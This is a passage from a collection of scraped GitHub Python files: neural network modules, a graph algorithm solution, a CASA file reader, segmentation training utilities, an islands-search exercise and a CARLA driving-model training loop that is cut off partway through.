self.use_dropout:\n self.feature_extracter.add_module(name='dropout', module=nn.Dropout(0.5))\n\n self.features_output_size = 128\n\n self.classifier = nn.Sequential(\n nn.Linear(self.features_output_size, n_classes)\n )\n\n def forward(self, x, get_features=False, get_class_outputs=True):\n if get_features == False and get_class_outputs == False:\n return None\n\n x = self.normalization_layer(x)\n\n features = self.feature_extracter(x)\n features = features.view(-1, 128)\n\n if get_features == True and get_class_outputs == False:\n return features\n\n class_outputs = self.classifier(features)\n\n if get_features:\n return features, class_outputs\n else:\n return class_outputs\n\n def get_parameters(self):\n parameters = [\n {'params': self.feature_extracter.parameters(), 'lr_mult': 1, 'decay_mult': 1},\n {'params': self.classifier.parameters(), 'lr_mult': 1, 'decay_mult': 1}\n ]\n return parameters\n\n\ndef get_small_classifier(in_features_size, n_classes):\n small_classifier = nn.Sequential(\n nn.Linear(in_features_size, n_classes),\n nn.BatchNorm1d(256),\n nn.ReLU(),\n nn.Linear(256, n_classes),\n )\n return small_classifier\n","repo_name":"mrsempress/transfer_learning","sub_path":"codes/Network.py","file_name":"Network.py","file_ext":"py","file_size_in_byte":60306,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"18309400884","text":"class Solution:\n def distanceToCycle(self, n: int, edges: List[List[int]]) -> List[int]:\n entry = [0 for _ in range(n)]\n dic = defaultdict(list)\n for x, y in edges:\n dic[x].append(y)\n dic[y].append(x)\n entry[x] += 1\n entry[y] += 1\n deq = deque([i for i in range(n) if entry[i] == 1])\n seen = set(deq)\n while deq:\n x = deq.popleft()\n for node in dic[x]:\n if node in seen:\n continue\n entry[node] -= 1\n if entry[node] == 1:\n deq.append(node)\n seen.add(node)\n\n ans = [0 for _ in range(n)]\n deq = deque([i for i in range(n) if entry[i] != 1])\n seen = set(deq)\n total = 1\n while deq:\n leng = len(deq)\n for _ in range(leng):\n x = deq.popleft()\n for node in dic[x]:\n if node in seen:\n continue\n deq.append(node)\n ans[node] = total\n seen.add(node)\n total += 1\n return ans","repo_name":"jiangruofan/algorithm","sub_path":"2204. Distance to a Cycle in Undirected Graph.py","file_name":"2204. Distance to a Cycle in Undirected Graph.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"9287019760","text":"from .core import (check_type_and_version, BaseCasaObject, with_nbytes_prefix,\n read_string, read_int32, read_iposition, TYPES)\n\n\nclass Record(BaseCasaObject):\n\n @classmethod\n @with_nbytes_prefix\n def read(cls, f):\n self = cls()\n check_type_and_version(f, 'Record', 1)\n self.desc = RecordDesc.read(f)\n read_int32(f) # Not sure what the following value is\n return self\n\n\nclass RecordDesc(BaseCasaObject):\n\n @classmethod\n @with_nbytes_prefix\n def read(cls, f):\n\n self = cls()\n\n check_type_and_version(f, 'RecordDesc', 2)\n\n self.nrec = read_int32(f)\n\n self.names = []\n self.types = []\n self.values = []\n\n for i in range(self.nrec):\n self.names.append(read_string(f))\n self.types.append(TYPES[read_int32(f)])\n # Here we don't actually load in the data for may of the types - hence\n # why we don't do anything with the values we read in.\n if self.types[-1] in ('bool', 'int', 'uint', 'float', 'double',\n 'complex', 'dcomplex', 'string'):\n self.values.append(read_string(f)) # noqa\n elif self.types[-1] == 'table':\n self.values.append(f.read(8))\n elif self.types[-1].startswith('array'):\n self.values.append(read_iposition(f))\n self.values.append(f.read(4))\n elif self.types[-1] == 'record':\n self.values.append(RecordDesc.read(f))\n self.values.append(read_int32(f))\n else:\n raise NotImplementedError(\"Support for type {0} in RecordDesc \"\n \"not implemented\".format(self.types[-1]))\n\n return self\n","repo_name":"radio-astro-tools/casa-formats-io","sub_path":"casa_formats_io/casa_low_level_io/record.py","file_name":"record.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"76"} +{"seq_id":"12905607835","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\n@Author: Wonjun Lee\r\n@Contact: won5830@gmail.com\r\n@File: util.py\r\n@Time: 2021/08/10 6:35 PM\r\n\"\"\"\r\n\r\n\r\nimport os\r\nimport glob\r\nimport h5py\r\nimport numpy as np\r\nimport collections\r\nimport argparse\r\nimport glob\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom sklearn.preprocessing import label_binarize\r\nfrom sklearn.metrics import roc_curve, auc\r\nfrom scipy import interp\r\nfrom sklearn.metrics import roc_auc_score\r\nimport matplotlib.pyplot as plt\r\nfrom itertools import cycle\r\nimport pickle\r\n\r\nclass cal_loss_pointnet(nn.Module):\r\n def __init__(self, device, mat_diff_loss_scale = 0.001):\r\n super(cal_loss_pointnet,self).__init__()\r\n # #calculating weight for loss criterion\r\n BASE_DIR = os.path.dirname(os.path.abspath(__file__))\r\n DATA_DIR = os.path.join(BASE_DIR, 'data')\r\n all_label=[]\r\n for h5_name in glob.glob(os.path.join(DATA_DIR, 'test_skel_ply_hdf5_data_train*.h5')):\r\n f = h5py.File(h5_name) \r\n label = f['label'][:].astype('int64') #(point number, 1) \r\n f.close()\r\n all_label.append(label)\r\n all_label = np.concatenate(all_label, axis=0) #(total set number, point number per each point) = (15*20, 2400)\r\n occurences=collections.Counter(all_label.reshape(-1,1).squeeze())\r\n occ_sort=sorted(occurences.items())\r\n #weights=torch.tensor([i[1] for i in occ_sort],dtype=torch.float32 )\r\n weights=torch.tensor([10, 4, 6, 8, 2],dtype=torch.float32 )\r\n weights = weights / weights.sum() #normalize\r\n weights = (1.0 / weights) #inversing\r\n self.weights = (weights/ weights.sum()).to(device) #normalize\r\n self.mat_diff_loss_scale = mat_diff_loss_scale\r\n\r\n def feature_transform_reguliarzer(self, trans):\r\n d = trans.size()[1]\r\n I = torch.eye(d)[None, :, :]\r\n if trans.is_cuda:\r\n I = I.cuda()\r\n loss = torch.mean(torch.norm(torch.bmm(trans, trans.transpose(2, 1)) - I, dim=(1, 2)))\r\n return loss\r\n\r\n def forward(self, pred, gold, trans_feat, weight_balancing=True, smoothing=True):\r\n ''' Calculate cross entropy loss, apply label smoothing if needed. '''\r\n gold = gold.contiguous().view(-1)\r\n if smoothing:\r\n eps = 0.15\r\n n_class = pred.size(1)\r\n\r\n one_hot = torch.zeros_like(pred).scatter(1, gold.view(-1, 1), 1)\r\n one_hot = one_hot * (1 - eps) + (1 - one_hot) * eps / (n_class - 1)\r\n log_prb = F.log_softmax(pred, dim=1)\r\n if weight_balancing:\r\n wt=one_hot*self.weights\r\n temp_loss=-(one_hot * log_prb)\r\n loss=temp_loss.sum()/wt.sum()\r\n else:\r\n loss = -(one_hot * log_prb).sum(dim=1).mean()\r\n else:\r\n loss = F.cross_entropy(pred, gold, weight=self.weights ,reduction='mean')\r\n\r\n mat_diff_loss = self.feature_transform_reguliarzer(trans_feat)\r\n loss = loss + mat_diff_loss * self.mat_diff_loss_scale\r\n return loss\r\n\r\nclass cal_loss(nn.Module):\r\n def __init__(self,device):\r\n super(cal_loss,self).__init__()\r\n # #calculating weight for loss criterion\r\n BASE_DIR = os.path.dirname(os.path.abspath(__file__))\r\n DATA_DIR = os.path.join(BASE_DIR, 'data')\r\n all_label=[]\r\n for h5_name in glob.glob(os.path.join(DATA_DIR, 'test_skel_ply_hdf5_data_train*.h5')):\r\n f = h5py.File(h5_name) \r\n label = f['label'][:].astype('int64') #(point number, 1) \r\n f.close()\r\n all_label.append(label)\r\n all_label = np.concatenate(all_label, axis=0) #(total set number, point number per each point) = (15*20, 2400)\r\n occurences=collections.Counter(all_label.reshape(-1,1).squeeze())\r\n occ_sort=sorted(occurences.items())\r\n #weights=torch.tensor([i[1] for i in occ_sort],dtype=torch.float32 )\r\n #weights=torch.tensor([30, 1, 5, 10, 0.5],dtype=torch.float32 )\r\n weights=torch.tensor([15, 2, 5, 10, 5],dtype=torch.float32 ) #[15,1,5,10,1]\r\n weights = weights / weights.sum() #normalize\r\n weights = (1.0 / weights) #inversing\r\n self.weights = (weights/ weights.sum()).to(device) #normalize\r\n\r\n def forward(self, pred, gold, weight_balancing=True, smoothing=True):\r\n ''' Calculate cross entropy loss, apply label smoothing if needed. '''\r\n gold = gold.contiguous().view(-1)\r\n if smoothing:\r\n eps = 0.15\r\n n_class = pred.size(1)\r\n\r\n one_hot = torch.zeros_like(pred).scatter(1, gold.view(-1, 1), 1)\r\n one_hot = one_hot * (1 - eps) + (1 - one_hot) * eps / (n_class - 1)\r\n log_prb = F.log_softmax(pred, dim=1)\r\n if weight_balancing:\r\n wt=one_hot*self.weights\r\n temp_loss=-(one_hot * log_prb)\r\n loss=temp_loss.sum()/wt.sum()\r\n else:\r\n loss = -(one_hot * log_prb).sum(dim=1).mean()\r\n else:\r\n loss = F.cross_entropy(pred, gold, weight=self.weights ,reduction='mean')\r\n return loss\r\n\r\n\r\n\r\nclass IOStream():\r\n def __init__(self, path):\r\n self.f = open(path, 'a')\r\n\r\n def cprint(self, text):\r\n print(text)\r\n self.f.write(text+'\\n')\r\n self.f.flush()\r\n\r\n def close(self):\r\n self.f.close()\r\n\r\n\r\ndef str2bool(v):\r\n if isinstance(v, bool):\r\n return v\r\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\r\n return True\r\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\r\n return False\r\n else:\r\n raise argparse.ArgumentTypeError('Boolean value expected.')\r\n\r\ndef IOU(true,pred, mean=True): \r\n cls_list=sorted(set(true))\r\n t_unique, t_counts = np.unique(true, return_counts=True)\r\n p_unique, p_counts = np.unique(pred, return_counts=True)\r\n t_zip=dict(zip(t_unique,t_counts))\r\n p_zip=dict(zip(p_unique,p_counts))\r\n iou=[] \r\n for i in cls_list:\r\n if i not in p_zip:\r\n p_zip[i]=0\r\n inner=len([1 for j in range(len(true)) if ((true[j]==i) and (pred[j]==i))])\r\n outer=t_zip[i]+p_zip[i]-inner\r\n iou.append(inner/outer)\r\n if mean==True:\r\n return sum(iou)/len(iou)\r\n else:\r\n return iou\r\n\r\n\r\ndef ROC_cal(args, true, score):\r\n fpr = dict()\r\n tpr = dict()\r\n roc_auc = dict() \r\n n_class=len(np.unique(true))\r\n true_bin = label_binarize(true, classes = [i for i in range(n_class)])\r\n print(true_bin.shape)\r\n print(score.shape)\r\n for i in range(n_class):\r\n fpr[i], tpr[i], _ = roc_curve(true_bin[:, i], score[:, i]) \r\n roc_auc[i] = auc(fpr[i], tpr[i])\r\n\r\n # Compute micro-average ROC curve and ROC area\r\n fpr[\"micro\"], tpr[\"micro\"], _ = roc_curve(true_bin.ravel(), score.ravel())\r\n roc_auc[\"micro\"] = auc(fpr[\"micro\"], tpr[\"micro\"]) \r\n \r\n # First aggregate all false positive rates\r\n all_fpr = np.unique(np.concatenate([fpr[i] for i in range(n_class)]))\r\n\r\n # Then interpolate all ROC curves at this points \r\n mean_tpr = np.zeros_like(all_fpr)\r\n for i in range(n_class):\r\n mean_tpr += interp(all_fpr, fpr[i], tpr[i])\r\n\r\n # Finally average it and compute AUC\r\n mean_tpr /= n_class\r\n\r\n fpr[\"macro\"] = all_fpr\r\n tpr[\"macro\"] = mean_tpr\r\n roc_auc[\"macro\"] = auc(fpr[\"macro\"], tpr[\"macro\"])\r\n\r\n # Plot all ROC curves\r\n lw = 1 #line width\r\n plt.figure(figsize=(9, 6))\r\n plt.plot(fpr[\"micro\"], tpr[\"micro\"],\r\n label='micro-average ROC curve (area = {0:0.2f})'\r\n ''.format(roc_auc[\"micro\"]),\r\n color='deeppink', linestyle=':', linewidth=4)\r\n\r\n plt.plot(fpr[\"macro\"], tpr[\"macro\"],\r\n label='macro-average ROC curve (area = {0:0.2f})'\r\n ''.format(roc_auc[\"macro\"]),\r\n color='navy', linestyle=':', linewidth=4)\r\n cls_name = ['Root', 'Joint', 'Link', 'Noise', 'Tip Cell']\r\n colors = cycle(['aqua', 'darkorange', 'cornflowerblue','palegreen','darkmagenta'])\r\n for i, color in zip(range(n_class), colors):\r\n plt.plot(fpr[i], tpr[i], color=color, lw=lw,\r\n label='class {0} - {1} (area = {2:0.4f})'\r\n ''.format(i, cls_name[i], roc_auc[i]))\r\n \r\n with open('checkpoints/%s/models/ROC.pickle'%args.exp_name,'wb') as f:\r\n save_roc = {'fpr': fpr, 'tpr': tpr}\r\n pickle.dump(save_roc, f, pickle.HIGHEST_PROTOCOL)\r\n\r\n plt.plot([0, 1], [0, 1], 'k--', lw=lw)\r\n plt.xlim([0.0, 1.0])\r\n plt.ylim([0.0, 1.05])\r\n plt.xlabel('1 - Specificity')\r\n plt.ylabel('Sensitivity')\r\n plt.title('ROC - VesselNet')\r\n plt.legend(loc=\"lower right\")\r\n plt.show()\r\n return roc_auc\r\n\r\ndef Merge_Vote(t_data, t_ids, t_logits, t_true, t_norm_info):\r\n final_data = []\r\n final_logits =[]\r\n final_ids =[]\r\n final_true =[]\r\n\r\n unq_ids = list(set(t_ids))\r\n for i in unq_ids:\r\n tmp_ind = np.where(t_ids == i)\r\n tmp_ids = t_ids[tmp_ind]\r\n tmp_logits = t_logits[tmp_ind][:]\r\n tmp_true = t_true[tmp_ind]\r\n tmp_datas = t_data[tmp_ind][:] \r\n tmp_norm_info = t_norm_info[tmp_ind][:]\r\n\r\n #denormalization \r\n tmp_datas = tmp_datas*tmp_norm_info[:,3][:, None]\r\n tmp_datas = tmp_datas + tmp_norm_info[:,:3]\r\n tmp_datas = np.round(tmp_datas*1000)/1000\r\n \r\n unq_data, unq_ind, unq_cnt = np.unique(tmp_datas, return_index=True, return_counts = True, axis =0)\r\n multi_tp_ind = np.where(unq_cnt>1)\r\n multi_data = unq_data[multi_tp_ind][:]\r\n multi_ind = unq_ind[multi_tp_ind]\r\n\r\n for i in list(multi_tp_ind[0]):\r\n sme_idx = np.where((tmp_datas == unq_data[i][:]).all(axis=1))[0]\r\n sme_logits = tmp_logits[sme_idx,:]\r\n sme_true = tmp_true[sme_idx]\r\n assert np.all(sme_true == sme_true[0]), \"Matching Error!!\"\r\n sme_logits = np.mean(sme_logits, axis=0)\r\n tmp_logits[sme_idx,:] = sme_logits #replace tmp_logits\r\n\r\n final_data.append(tmp_datas[unq_ind][:])\r\n final_logits.append(tmp_logits[unq_ind][:])\r\n final_ids.append(tmp_ids[unq_ind])\r\n final_true.append(tmp_true[unq_ind])\r\n\r\n final_data = np.concatenate(final_data, axis=0)\r\n final_logits = np.concatenate(final_logits, axis=0)\r\n final_ids = np.concatenate(final_ids, axis=0)\r\n final_true = np.concatenate(final_true, axis=0)\r\n return final_data, final_logits, final_ids, final_true\r\n\r\n\r\ndef Perturb_remove(tmp_data, tmp_pred, tmp_true, tmp_ids):\r\n tmp_data = np.round(tmp_data*100)/100\r\n unq_data, unq_ind =np.unique(tmp_data, return_index=True, axis=0)\r\n return unq_data, tmp_pred[unq_ind], tmp_true[unq_ind], tmp_ids[unq_ind]\r\n \r\ndef weights_init(m):\r\n classname = m.__class__.__name__\r\n if classname.find('Conv2d') != -1:\r\n nn.init.xavier_normal_(m.weight.data)\r\n #nn.init.constant_(m.bias.data, 0.0)\r\n elif classname.find('Linear') != -1:\r\n nn.init.xavier_normal_(m.weight.data)\r\n #nn.init.constant_(m.bias.data, 0.0)\r\n elif classname.find('Conv1d') != -1:\r\n nn.init.xavier_normal_(m.weight.data)\r\n #nn.init.constant_(m.bias.data, 0.0)","repo_name":"won5830/Machine-learning-assisted-3D-angiogenesis-quantification","sub_path":"Model Training/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":11232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"2913202089","text":"# Astranis GNC Internship Coding Question:\n# Martin Davisson\n\n# Problem Statement:\n# Write a function, in the programming language of your choice, \n# which finds contiguous regions (or \"islands\") in a matrix \n# where all values in the island are greater than a threshold \n# (but not necessarily the same). The function should take a threshold,\n# a minimum island size, and an arbitrarily sized matrix as inputs. \n# The function should output a matrix (same size as the input matrix) of booleans.\n# Do not wrap around matrix edges. Corner neighbors are not sufficient for island continuity. \n# For example, if the the inputs are: threshold = 5, min island size = 3,\n# and matrix = [4, 4, 4, 2, 2; 4, 2, 2, 2, 2; 2, 2, 8, 7, 2; 2, 8, 8, 8, 2; 8, 2, 2, 2, 8].\n# Then the output would be [0, 0, 0, 0, 0; 0, 0, 0, 0, 0; 0, 0, 1, 1, 0; 0, 1, 1, 1, 0; 0, 0, 0, 0, 0].\n\n# Language Used: Python3\n\n# Algorithm Description:\n# This algorithm uses the DFS (Depth First Search) algorithm to identify\n# the number of islands in a grid as well as the size and \"Altitude\" of each\nclass Map:\n\n def __init__(self, row, col, m):\n self.R = row\n self.C = col\n self.map = m\n\n # A function to check if a given cell\n # (row, col) can be included in DFS\n def Incl(self, i, j, visited):\n # returns true if:\n # row number is in range, column number\n # is in range, graph value is 1\n # and not has not yet been visited\n return (i >= 0 and i < self.R and\n j >= 0 and j < self.C and\n not visited[i][j] and self.map[i][j])\n\n # A utility function to do DFS for a 2D\n # boolean matrix. It only considers\n # the 4 neighbours as adjacent vertices\n\n def DFS(self, i, j, visited):\n\n # These arrays are used to get row and\n # column numbers of 4 neighbours\n # of a given cell\n N_i = [-1, 0, 0, 1]\n N_j = [0, -1, 1, 0]\n\n # Mark this cell as visited\n visited[i][j] = True\n\n # Recur for all connected neighbours\n for k in range(4):\n if self.Incl(i + N_i[k], j + N_j[k], visited):\n self.DFS(i + N_i[k], j + N_j[k], visited)\n\n # The main function that returns\n # count of islands in a given boolean\n # 2D matrix\n def Islands(self, thresh, minsize):\n # First check to see if each point\n # meets a minimum value threshhold\n for i in range(self.R):\n for j in range(self.C):\n if graph[i][j] >= thresh:\n graph[i][j] = 1\n else:\n graph[i][j] = 0\n\n # An array to mark visited cells.\n # Initially all cells are unvisited\n visited = [[False for j in range(self.C)]for i in range(self.R)]\n\n # Initialize count as 0 and begin searching\n count = 0\n islandcount = []\n islandsizes = []\n SOL = [[0] * row for _ in range(self.C)]\n for i in range(self.R):\n for j in range(self.C):\n # If a cell with value 1 is not visited yet,\n # then new island found\n if visited[i][j] == False and self.map[i][j] == 1:\n # Visit all cells in this island\n # and increment island count\n self.DFS(i, j, visited)\n count += 1\n # Determine Island size\n islandsize = 0\n for i in range(self.R):\n for j in range(self.C):\n if visited[i][j] == True:\n islandsize += 1\n islandcount.append(count)\n\t\t\t\t\t# Adjust Island Size for each contiguous island\n islandsize = islandsize-sum(islandsizes)\n islandsizes.append(islandsize)\n\n # Assign Island Sizes and apply min island threshold to each\n for i in range(self.R):\n for j in range(self.C):\n if visited[i][j] == True and SOL[i][j] == 0 and islandsize >= minsize:\n SOL[i][j] = 1\n\n return SOL\n\n\n# Sample Problem Given in Problem Statement\ngraph = [[4, 4, 4, 2, 2],\n [4, 2, 2, 2, 2],\n [2, 2, 8, 7, 2],\n [2, 8, 8, 8, 2],\n [8, 2, 2, 2, 8]]\n\n\nrow = len(graph)\ncol = len(graph[0])\n\nm = Map(row, col, graph)\n\n\nprint(\"Island Search Return:\")\nprint(m.Islands(5, 1))\n\n\n# Sources Used:\n# Title: Find the number of islands | Set 1 (Using DFS)\n# Author: Neelam Yadav \n# Availability: https://www.geeksforgeeks.org/find-number-of-islands/\n\n","repo_name":"MartyDavisson/Islands.py","sub_path":"islands_DFS.py","file_name":"islands_DFS.py","file_ext":"py","file_size_in_byte":4650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"39538477378","text":"import pandas as pd\nimport os\nfrom tqdm import tqdm\nfrom collections import OrderedDict\nimport time\nimport numpy as np\nfrom torch import torch, nn\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\nimport torch.nn.functional as F\ntorch.backends.cudnn.benchmark = True\n\nfrom model import s13\nfrom data import CARLA_Data\nfrom config import GlobalConfig\nfrom torch.utils.tensorboard import SummaryWriter\n# import random\n# random.seed(0)\n# torch.manual_seed(0)\n\n\n#Class untuk penyimpanan dan perhitungan update loss\nclass AverageMeter(object):\n def __init__(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n #update kalkulasi\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n#Class NN Module untuk Perhitungan BCE Dice Loss\ndef BCEDice(Yp, Yt, smooth=1e-7):\n\t#.view(-1) artinya matrix tensornya di flatten kan dulu\n\tYp = Yp.view(-1)\n\tYt = Yt.view(-1)\n\t#hitung BCE\n\tbce = F.binary_cross_entropy(Yp, Yt, reduction='mean')\n\t#hitung dice loss\n\tintersection = (Yp * Yt).sum() #irisan\n\t#rumus DICE\n\tdice_loss = 1 - ((2. * intersection + smooth) / (Yp.sum() + Yt.sum() + smooth))\n\t#kalkulasi lossnya\n\tbce_dice_loss = bce + dice_loss\n\treturn bce_dice_loss\n\n\n# def weighted_bce(Yp, Yt, weights=[1, 1.5]): #weights untuk class 0 dan class 1\n# \tYt = Yt.view(-1)\n# \tYp = torch.clamp(Yp.view(-1), min=1e-7, max=1-1e-7)\n# \tloss = -1 * torch.mean(weights[1]*Yt*torch.log(Yp) + weights[0]*(1-Yt)*torch.log(1-Yp))\n# \treturn loss\n\n\n#fungsi renormalize loss weights seperti di paper gradnorm\ndef renormalize_params_lw(current_lw, config):\n\t#detach dulu paramsnya dari torch, pindah ke CPU\n\tlw = np.array([tens.cpu().detach().numpy() for tens in current_lw])\n\tlws = np.array([lw[i][0] for i in range(len(lw))])\n\t#fungsi renormalize untuk algoritma 1 di papaer gradnorm\n\tcoef = np.array(config.loss_weights).sum()/lws.sum()\n\tnew_lws = [coef*lwx for lwx in lws]\n\t#buat torch float tensor lagi dan masukkan ke cuda memory\n\tnormalized_lws = [torch.cuda.FloatTensor([lw]).clone().detach().requires_grad_(True) for lw in new_lws]\n\treturn normalized_lws\n\n#FUNGSI TRAINING\ndef train(data_loader, model, config, writer, cur_epoch, device, optimizer, params_lw, optimizer_lw):\n\t#buat variabel untuk menyimpan kalkulasi loss, dan iou\n\tscore = {'total_loss': AverageMeter(),\n\t\t\t'ss_loss': AverageMeter(),\n\t\t\t'wp_loss': AverageMeter(),\n\t\t\t'str_loss': AverageMeter(),\n\t\t\t'thr_loss': AverageMeter(),\n\t\t\t'brk_loss': AverageMeter(),\n\t\t\t'redl_loss': AverageMeter(),\n\t\t\t'stops_loss': AverageMeter()}\n\t\n\t#masuk ke mode training, pytorch\n\tmodel.train()\n\n\t#visualisasi progress training dengan tqdm\n\tprog_bar = tqdm(total=len(data_loader))\n\n\t#training....\n\ttotal_batch = len(data_loader)\n\tbatch_ke = 0\n\tfor data in data_loader:\n\t\tcur_step = cur_epoch*total_batch + batch_ke\n\n\t\t#load IO dan pindah ke GPU\n\t\t# fronts = []\n\t\t# for i in range(config.seq_len): #append data untuk input sequence\n\t\t# \tfronts.append(data['fronts'][i].to(device, dtype=torch.float))\n\t\tfronts = data['fronts'].to(device, dtype=torch.float) #ambil yang terakhir aja #[-1]\n\t\tseg_fronts = data['seg_fronts'].to(device, dtype=torch.float) #ambil yang terakhir aja #[-1]\n\t\ttarget_point = torch.stack(data['target_point'], dim=1).to(device, dtype=torch.float)\n\t\tgt_velocity = data['velocity'].to(device, dtype=torch.float)\n\t\tgt_waypoints = [torch.stack(data['waypoints'][i], dim=1).to(device, dtype=torch.float) for i in range(config.seq_len, len(data['waypoints']))]\n\t\tgt_waypoints = torch.stack(gt_waypoints, dim=1).to(device, dtype=torch.float)\n\t\tgt_steer = data['steer'].to(device, dtype=torch.float)\n\t\tgt_throttle = data['throttle'].to(device, dtype=torch.float)\n\t\tgt_brake = data['brake'].to(device, dtype=torch.float)\n\t\tgt_red_light = data['red_light'].to(device, dtype=torch.float)\n\t\tgt_stop_sign = data['stop_sign'].to(device, dtype=torch.float)\n\n\t\t#forward pass\n\t\tpred_seg, pred_wp, steer, throttle, brake, red_light, stop_sign = model(fronts, target_point, gt_velocity)#, seg_fronts[-1])\n\n\t\t#compute loss\n\t\tloss_seg = BCEDice(pred_seg, seg_fronts)\n\t\tloss_wp = F.l1_loss(pred_wp, gt_waypoints)\n\t\tloss_str = F.l1_loss(steer, gt_steer)\n\t\tloss_thr = F.l1_loss(throttle, gt_throttle)\n\t\tloss_brk = F.l1_loss(brake, gt_brake)\n\t\tloss_redl = F.l1_loss(red_light, gt_red_light)\n\t\tloss_stops = F.l1_loss(stop_sign, gt_stop_sign)\n\t\ttotal_loss = params_lw[0]*loss_seg + params_lw[1]*loss_wp + params_lw[2]*loss_str + params_lw[3]*loss_thr + params_lw[4]*loss_brk + params_lw[5]*loss_redl + params_lw[6]*loss_stops\n\n\t\t#backpro, kalkulasi gradient, dan optimasi\n\t\toptimizer.zero_grad()\n\n\t\tif batch_ke == 0: #batch pertama, hitung loss awal\n\t\t\ttotal_loss.backward() #ga usah retain graph\n\t\t\t#ambil loss pertama\n\t\t\tloss_seg_0 = torch.clone(loss_seg)\n\t\t\tloss_wp_0 = torch.clone(loss_wp)\n\t\t\tloss_str_0 = torch.clone(loss_str)\n\t\t\tloss_thr_0 = torch.clone(loss_thr)\n\t\t\tloss_brk_0 = torch.clone(loss_brk)\n\t\t\tloss_redl_0 = torch.clone(loss_redl)\n\t\t\tloss_stops_0 = torch.clone(loss_stops)\n\n\t\telif 0 < batch_ke < total_batch-1:\n\t\t\ttotal_loss.backward() #ga usah retain graph\n\n\t\telif batch_ke == total_batch-1: #berarti batch terakhir, compute update loss weights\n\t\t\tif config.MGN:\n\t\t\t\toptimizer_lw.zero_grad()\n\t\t\t\ttotal_loss.backward(retain_graph=True) #backpro, hitung gradient, retain graph karena graphnya masih dipakai perhitungan\n\t\t\t\t#ambil nilai gradient dari layer pertama pada masing2 task-specified decoder dan komputasi gradient dari output layer sampai ke bottle neck saja\n\t\t\t\tparams = list(filter(lambda p: p.requires_grad, model.parameters()))\n\t\t\t\tG0R = torch.autograd.grad(loss_seg, params[config.bottleneck[0]], retain_graph=True, create_graph=True)\n\t\t\t\tG0 = torch.norm(G0R[0], keepdim=True).squeeze()\n\t\t\t\tG1R = torch.autograd.grad(loss_wp, params[config.bottleneck[1]], retain_graph=True, create_graph=True)\n\t\t\t\tG1 = torch.norm(G1R[0], keepdim=True).squeeze()\n\t\t\t\tG2R = torch.autograd.grad(loss_str, params[config.bottleneck[1]], retain_graph=True, create_graph=True)\n\t\t\t\tG2 = torch.norm(G2R[0], keepdim=True).squeeze()\n\t\t\t\tG3R = torch.autograd.grad(loss_thr, params[config.bottleneck[1]], retain_graph=True, create_graph=True)\n\t\t\t\tG3 = torch.norm(G3R[0], keepdim=True).squeeze()\n\t\t\t\tG4R = torch.autograd.grad(loss_brk, params[config.bottleneck[1]], retain_graph=True, create_graph=True)\n\t\t\t\tG4 = torch.norm(G4R[0], keepdim=True).squeeze()\n\t\t\t\tG5R = torch.autograd.grad(loss_redl, params[config.bottleneck[0]], retain_graph=True, create_graph=True)\n\t\t\t\tG5 = torch.norm(G5R[0], keepdim=True).squeeze()\n\t\t\t\tG6R = torch.autograd.grad(loss_stops, params[config.bottleneck[0]], retain_graph=True, create_graph=True)\n\t\t\t\tG6 = torch.norm(G6R[0], keepdim=True).squeeze()\n\t\t\t\t#dan rata2\n\t\t\t\tG_avg = (G0+G1+G2+G3+G4+G5+G6) / len(config.loss_weights)\n\n\t\t\t\t#hitung relative lossnya\n\t\t\t\tloss_seg_hat = loss_seg / loss_seg_0\n\t\t\t\tloss_wp_hat = loss_wp / loss_wp_0\n\t\t\t\tloss_str_hat = loss_str / loss_str_0\n\t\t\t\tloss_thr_hat = loss_thr / loss_thr_0\n\t\t\t\tloss_brk_hat = loss_brk / loss_brk_0\n\t\t\t\tloss_redl_hat = loss_redl / loss_redl_0\n\t\t\t\tloss_stops_hat = loss_stops / loss_stops_0\n\t\t\t\t#dan rata2\n\t\t\t\tloss_hat_avg = (loss_seg_hat + loss_wp_hat + loss_str_hat + loss_thr_hat + loss_brk_hat + loss_redl_hat + loss_stops_hat) / len(config.loss_weights)\n\n\t\t\t\t#hitung r_i_(t) relative inverse training rate untuk setiap task \n\t\t\t\tinv_rate_ss = loss_seg_hat / loss_hat_avg\n\t\t\t\tinv_rate_wp = loss_wp_hat / loss_hat_avg\n\t\t\t\tinv_rate_str = loss_str_hat / loss_hat_avg\n\t\t\t\tinv_rate_thr = loss_thr_hat / loss_hat_avg\n\t\t\t\tinv_rate_brk = loss_brk_hat / loss_hat_avg\n\t\t\t\tinv_rate_redl = loss_redl_hat / loss_hat_avg\n\t\t\t\tinv_rate_stops = loss_stops_hat / loss_hat_avg\n\n\t\t\t\t#hitung constant target grad\n\t\t\t\tC0 = (G_avg*inv_rate_ss).squeeze().detach()**config.lw_alpha\n\t\t\t\tC1 = (G_avg*inv_rate_wp).squeeze().detach()**config.lw_alpha\n\t\t\t\tC2 = (G_avg*inv_rate_str).squeeze().detach()**config.lw_alpha\n\t\t\t\tC3 = (G_avg*inv_rate_thr).squeeze().detach()**config.lw_alpha\n\t\t\t\tC4 = (G_avg*inv_rate_brk).squeeze().detach()**config.lw_alpha\n\t\t\t\tC5 = (G_avg*inv_rate_redl).squeeze().detach()**config.lw_alpha\n\t\t\t\tC6 = (G_avg*inv_rate_stops).squeeze().detach()**config.lw_alpha\n\n\t\t\t\t#HITUNG TOTAL LGRAD\n\t\t\t\tLgrad = F.l1_loss(G0, C0) + F.l1_loss(G1, C1) + F.l1_loss(G2, C2) + F.l1_loss(G3, C3) + F.l1_loss(G4, C4) + F.l1_loss(G5, C5) + F.l1_loss(G6, C6)\n\n\t\t\t\t#hitung gradient loss sesuai Eq. 2 di GradNorm paper\n\t\t\t\t# 